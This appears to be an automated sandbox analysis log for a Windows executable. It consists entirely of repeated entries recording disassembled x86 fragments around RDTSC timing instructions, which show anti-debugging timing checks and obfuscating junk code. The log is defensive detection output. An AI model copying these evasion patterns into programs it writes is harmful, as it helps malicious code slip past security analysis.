Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6E06 second address: 11A6E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6E0C second address: 11A6E76 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDD2537F158h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jo 00007FDD2537F15Ch 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 nop 0x00000018 mov di, D6BCh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007FDD2537F158h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 mov dword ptr [ebp+122D1854h], edx 0x0000003e push 00000000h 0x00000040 add edi, dword ptr [ebp+122D2D3Dh] 0x00000046 push eax 0x00000047 pushad 0x00000048 jmp 00007FDD2537F162h 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9DB2 second address: 11A9DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9DB6 second address: 11A9DD3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FDD2537F15Ch 0x0000000e pushad 0x0000000f je 00007FDD2537F156h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9DD3 second address: 11A9E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDD24CC6358h 0x0000000b popad 0x0000000c jns 00007FDD24CC635Ah 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9E12 second address: 11A9E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDD2537F156h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007FDD2537F15Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9E30 second address: 11A9E3A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDD24CC6346h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9E3A second address: 11A9E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9E40 second address: 11A9E46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9E46 second address: 11A9E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9E4A second address: 11A9E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA4C2 second address: 11AA4EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FDD2537F161h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA4EF second address: 11AA4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA4FA second address: 11AA572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jmp 00007FDD2537F15Ch 0x0000000b pop eax 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FDD2537F158h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 xor ebx, dword ptr [ebp+122D2B6Dh] 0x0000002e push 00000000h 0x00000030 jmp 00007FDD2537F15Fh 0x00000035 push 00000000h 0x00000037 mov ebx, dword ptr [ebp+122D246Ch] 0x0000003d mov ebx, dword ptr [ebp+122D3ACDh] 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FDD2537F167h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA572 second address: 11AA578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA578 second address: 11AA57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA6D1 second address: 11AA6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA6D5 second address: 11AA6DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B11BB second address: 11B11D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007FDD24CC634Ch 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B11D2 second address: 11B11D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B11D6 second address: 11B11EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FDD24CC634Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B11EC second address: 11B11FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD2537F15Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0B0D second address: 11B0B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B53AB second address: 11B5408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push edi 0x0000000c jmp 00007FDD2537F169h 0x00000011 pop edi 0x00000012 jmp 00007FDD2537F165h 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b jl 00007FDD2537F15Ch 0x00000021 jne 00007FDD2537F156h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FDD2537F160h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5508 second address: 11B550C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B550C second address: 11B5516 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDD2537F156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB92C second address: 11BB930 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAC21 second address: 11BAC35 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDD2537F15Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAEB8 second address: 11BAEBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAEBC second address: 11BAEC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAEC2 second address: 11BAECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAECF second address: 11BAED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB046 second address: 11BB05E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC6354h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB05E second address: 11BB064 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB064 second address: 11BB074 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDD24CC6348h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB208 second address: 11BB212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FDD2537F156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB212 second address: 11BB216 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0406 second address: 11C0416 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Bh 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0416 second address: 11C043C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDD24CC6346h 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDD24CC6356h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C043C second address: 11C0452 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Dh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0597 second address: 11C059B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C059B second address: 11C05A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C05A6 second address: 11C05BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC6350h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C05BB second address: 11C05C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11520A5 second address: 11520A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11520A9 second address: 11520B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C00CB second address: 11C00D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC634Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0E59 second address: 11C0E60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0E60 second address: 11C0E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 ja 00007FDD24CC634Eh 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0FA3 second address: 11C0FC4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDD2537F156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FDD2537F164h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0FC4 second address: 11C0FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnc 00007FDD24CC634Ch 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0FDA second address: 11C0FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1179 second address: 11C117F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C14CA second address: 11C14D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C14D0 second address: 11C14D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C14D4 second address: 11C14D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C14D8 second address: 11C14DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5356 second address: 11C5371 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F163h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5371 second address: 11C5375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5375 second address: 11C5379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C833E second address: 11C8344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119516B second address: 1174774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 nop 0x00000006 mov di, 5909h 0x0000000a lea eax, dword ptr [ebp+12478ECDh] 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FDD2537F158h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a call 00007FDD2537F169h 0x0000002f mov dword ptr [ebp+122D30A1h], edi 0x00000035 pop edi 0x00000036 push eax 0x00000037 je 00007FDD2537F162h 0x0000003d jnc 00007FDD2537F15Ch 0x00000043 mov dword ptr [esp], eax 0x00000046 mov edx, dword ptr [ebp+122D3B25h] 0x0000004c call dword ptr [ebp+122D2753h] 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FDD2537F160h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195265 second address: 119526C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119526C second address: 1195284 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDD2537F163h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11956E4 second address: 1195746 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6355h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDD24CC634Eh 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007FDD24CC6359h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c jmp 00007FDD24CC6358h 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195746 second address: 119575C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnc 00007FDD2537F156h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119575C second address: 1195766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FDD24CC6346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195766 second address: 1195797 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e jmp 00007FDD2537F15Ah 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 pop ebx 0x00000017 pop eax 0x00000018 mov dword ptr [ebp+1245CB23h], edi 0x0000001e push F87C45BCh 0x00000023 push edi 0x00000024 jo 00007FDD2537F15Ch 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195903 second address: 1195907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11961F7 second address: 1196204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FDD2537F156h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119647B second address: 119648D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC634Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119648D second address: 11964E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F167h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jno 00007FDD2537F15Ch 0x00000010 mov dx, 047Eh 0x00000014 lea eax, dword ptr [ebp+12478F11h] 0x0000001a mov edx, 48E8EC14h 0x0000001f nop 0x00000020 jno 00007FDD2537F15Eh 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FDD2537F15Fh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11964E5 second address: 119651F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6358h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edx, dword ptr [ebp+122D3081h] 0x00000010 lea eax, dword ptr [ebp+12478ECDh] 0x00000016 mov ecx, 5B7D4C02h 0x0000001b mov dword ptr [ebp+122D201Bh], esi 0x00000021 nop 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 push esi 0x00000026 pop esi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119651F second address: 119653B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDD2537F156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 js 00007FDD2537F156h 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8648 second address: 11C8662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD24CC6354h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8B34 second address: 11C8B50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDD2537F15Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8CBF second address: 11C8CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8CC5 second address: 11C8CCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8E49 second address: 11C8E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8E55 second address: 11C8E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnl 00007FDD2537F162h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8E62 second address: 11C8E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDD24CC6346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC008 second address: 11CC042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FDD2537F168h 0x0000000a jmp 00007FDD2537F163h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FDD2537F156h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC042 second address: 11CC046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC046 second address: 11CC050 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDD2537F156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC050 second address: 11CC05E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC05E second address: 11CC078 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F166h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC078 second address: 11CC082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC082 second address: 11CC096 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDD2537F156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FDD2537F156h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC096 second address: 11CC09A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
